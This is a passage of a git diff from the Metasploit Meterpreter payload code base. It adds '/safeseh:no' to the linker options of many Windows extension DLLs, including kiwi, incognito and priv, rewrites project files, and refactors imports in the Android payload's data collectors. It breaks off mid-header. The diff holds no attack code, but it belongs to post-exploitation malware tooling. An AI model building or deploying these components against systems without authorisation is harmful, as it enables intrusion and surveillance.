${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index ef46e556d..351fb3098 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -477,14 +477,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -494,4 +490,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt b/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt index 0de663bce..378848e68 100644 --- a/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_incognito/CMakeLists.txt @@ -33,6 +33,7 @@ set(LINK_LIBS advapi32 netapi32 mpr) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index bee876bdc..442dd826c 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -474,18 +474,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt index 89d17f39f..0ec1ef073 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt @@ -143,6 +143,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index ea63cc195..6bf89b821 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -753,18 +753,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt b/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt index 8e79919c9..d7a388421 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt @@ -40,7 +40,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") -else() + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index 3ccfe362e..b07ae09c4 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -428,14 +428,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -445,4 +441,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt b/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt index 69343e417..23368756e 100644 --- a/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_peinjector/CMakeLists.txt @@ -32,6 +32,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index 137fcc1c4..47214b711 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -460,14 +460,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -477,4 +473,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt b/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt index 6753f1b78..735311f94 100644 --- a/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_powershell/CMakeLists.txt @@ -28,6 +28,7 @@ set(LINK_LIBS psapi ws2_32) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 3a7e798f7..95e97a294 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -461,14 +461,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -478,4 +474,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt b/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt index dea7e258b..7b5c2d92c 100644 --- a/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_priv/CMakeLists.txt @@ -75,6 +75,7 @@ set(LINK_LIBS advapi32 psapi rpcrt4) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index d005b53bb..8c8af02a6 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -611,18 +611,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_python/CMakeLists.txt b/c/meterpreter/workspace/ext_server_python/CMakeLists.txt index 8a6de2107..23f3a40fe 100644 --- a/c/meterpreter/workspace/ext_server_python/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_python/CMakeLists.txt @@ -58,6 +58,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index a29adbdd6..a6179a115 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -813,23 +813,17 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt b/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt index 6f4408066..085b27014 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_sniffer/CMakeLists.txt @@ -41,6 +41,7 @@ set(LINK_LIBS ${PSSDK_LIB_DIR}/pssdk_vc${PSSDK_VER}_mt.lib ws2_32) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 9993531bf..eb1d54fc5 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -366,12 +366,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) - true - true + true - true - true + true @@ -381,4 +379,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName) - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt index 09d1bffba..152f473da 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt @@ -55,12 +55,13 @@ set(LINK_LIBS strmiids ) +target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) + if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() -target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) - # Post processing (required for all Meterpreter DLLs) editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM}) copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR}) diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 26e85ed1d..b17e57d30 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -601,14 +601,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -618,4 +614,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt b/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt index 441903957..aeb87f4de 100644 --- a/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_unhook/CMakeLists.txt @@ -30,6 +30,7 @@ endif() target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index 7b3cceace..c18299cd4 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -450,14 +450,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -467,4 +463,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt index 44401059a..5d6a6fa09 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt @@ -46,6 +46,7 @@ set(LINK_LIBS target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index 03ac0a384..1724ce206 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -454,18 +454,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true - \ No newline at end of file + diff --git a/c/meterpreter/workspace/jpeg/CMakeLists.txt b/c/meterpreter/workspace/jpeg/CMakeLists.txt index 47d5d6780..2946b1d17 100644 --- a/c/meterpreter/workspace/jpeg/CMakeLists.txt +++ b/c/meterpreter/workspace/jpeg/CMakeLists.txt @@ -63,3 +63,8 @@ set( ) add_library(${PROJECT_NAME} STATIC ${SRC_FILES}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) + +if(MSVC) + target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") +endif() diff --git a/c/meterpreter/workspace/jpeg/jpeg.vcxproj b/c/meterpreter/workspace/jpeg/jpeg.vcxproj index 53e1cb406..093467e2e 100644 --- a/c/meterpreter/workspace/jpeg/jpeg.vcxproj +++ b/c/meterpreter/workspace/jpeg/jpeg.vcxproj @@ -1,265 +1,265 @@ - - - - - Debug - Win32 - - - Debug - x64 - - - Release - Win32 - - - Release - x64 - - - - {E61592E1-28F4-4AFC-9EE1-9BE833A061C1} - jpeg - Win32Proj - 7.0 - - - - StaticLibrary - v141_xp - MultiByte - false - - - StaticLibrary - v141_xp - MultiByte - false - - - StaticLibrary - v141_xp - MultiByte - false - - - StaticLibrary - v141_xp - MultiByte - false - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>11.0.60610.1 - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - $(ProjectName).$(PlatformShortName) - - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {E61592E1-28F4-4AFC-9EE1-9BE833A061C1} + jpeg + Win32Proj + 7.0 + + + + StaticLibrary + v141_xp + MultiByte + false + + + StaticLibrary + v141_xp + MultiByte + false + + + StaticLibrary + v141_xp + MultiByte + false + + + StaticLibrary + v141_xp + MultiByte + false + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.60610.1 + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + .\$(Configuration)\$(Platform)\ + .\$(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - false - false - WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - true - - - Level3 - ProgramDatabase - CompileAsCpp - - - false - - +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + false + false + WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + + Level3 + ProgramDatabase + CompileAsCpp + + + false + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF NOT EXIST "$(ProjectDir)..\..\lib\" mkdir "$(ProjectDir)..\..\lib\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\lib\" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/c/meterpreter/workspace/make.msbuild b/c/meterpreter/workspace/make.msbuild index d4a89aec3..3304dfb8f 100644 --- a/c/meterpreter/workspace/make.msbuild +++ b/c/meterpreter/workspace/make.msbuild @@ -10,32 +10,32 @@ - + - + - + - + - + - + diff --git a/c/meterpreter/workspace/metsrv/CMakeLists.txt b/c/meterpreter/workspace/metsrv/CMakeLists.txt index cbc09600d..103c3cb42 100644 --- a/c/meterpreter/workspace/metsrv/CMakeLists.txt +++ b/c/meterpreter/workspace/metsrv/CMakeLists.txt @@ -34,6 +34,7 @@ set(LINK_LIBS advapi32 winhttp wininet crypt32) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") else() set(LINK_LIBS ${LINK_LIBS} ws2_32) endif() diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 6bb15169c..d846ac621 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -558,6 +558,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -587,6 +588,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -602,14 +604,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4f02ec4a1..7ec76c1bb 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -27,6 +27,7 @@ + @@ -57,6 +58,7 @@ + diff --git a/c/meterpreter/workspace/screenshot/CMakeLists.txt b/c/meterpreter/workspace/screenshot/CMakeLists.txt index da3ffcc44..17b00b973 100644 --- a/c/meterpreter/workspace/screenshot/CMakeLists.txt +++ b/c/meterpreter/workspace/screenshot/CMakeLists.txt @@ -28,6 +28,7 @@ set(LINK_LIBS jpeg) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS} ${MET_RDI_ASM}) if(MSVC) target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") + target_link_options(${PROJECT_NAME} PUBLIC "/safeseh:no") endif() # Post processing (required for all Meterpreter DLLs) diff --git a/c/meterpreter/workspace/screenshot/screenshot.vcxproj b/c/meterpreter/workspace/screenshot/screenshot.vcxproj index 3186ca82a..f40664e63 100644 --- a/c/meterpreter/workspace/screenshot/screenshot.vcxproj +++ b/c/meterpreter/workspace/screenshot/screenshot.vcxproj @@ -411,14 +411,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - true - true - true + true - true - true - true + true @@ -428,4 +424,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/java/androidpayload/app/src/com/metasploit/stage/Payload.java b/java/androidpayload/app/src/com/metasploit/stage/Payload.java index 62752d2de..b71a0997e 100644 --- a/java/androidpayload/app/src/com/metasploit/stage/Payload.java +++ b/java/androidpayload/app/src/com/metasploit/stage/Payload.java @@ -118,7 +118,6 @@ public static void main(String[] args) { if ((config.flags & Config.FLAG_HIDE_APP_ICON) != 0) { hideAppIcon(); } - stageless_class = config.stageless_class; TransportConfig transportConfig = config.transportConfigList.get(0); String url = transportConfig.url; long currentTime = System.currentTimeMillis(); diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java index b54fc782f..a13e9ad6f 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/CellCollector.java @@ -1,5 +1,7 @@ package com.metasploit.meterpreter; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.android.android_interval_collect; import android.content.Context; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java b/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java index eb843f66a..0c42a8ce1 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/ClipManager.java @@ -8,6 +8,9 @@ import android.os.Looper; import android.text.format.DateFormat; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; + import java.io.IOException; import java.util.Date; import java.util.LinkedList; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java index 22d30f9d4..c9c94e916 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/GeolocationCollector.java @@ -4,6 +4,8 @@ import android.location.Location; import android.location.LocationManager; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.android.android_interval_collect; import java.io.DataInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java index ef52a9749..276229ba2 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollector.java @@ -2,6 +2,9 @@ import android.content.Context; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; + import java.io.ByteArrayOutputStream; import java.io.ByteArrayInputStream; import java.io.DataInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java index bb3107e23..2568cb627 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java @@ -8,6 +8,8 @@ import android.net.wifi.ScanResult; import android.net.wifi.WifiManager; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.android.android_interval_collect; import java.io.DataInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java index 3d3b53c14..350192f07 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_activity_start.java @@ -7,15 +7,14 @@ import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import java.net.URISyntaxException; import java.util.List; - public class android_activity_start implements Command { private static final int TLV_EXTENSIONS = 20000; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java index b6d5b0644..a67f3ce6a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_channel_open.java @@ -2,10 +2,10 @@ import android.media.MediaPlayer; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.NotYetImplementedCommand; import com.metasploit.meterpreter.stdapi.Loader; import com.metasploit.meterpreter.stdapi.stdapi_channel_open; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java index a572e6eb9..4aec1809e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_check_root.java @@ -2,8 +2,8 @@ import java.io.File; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_check_root implements Command { diff 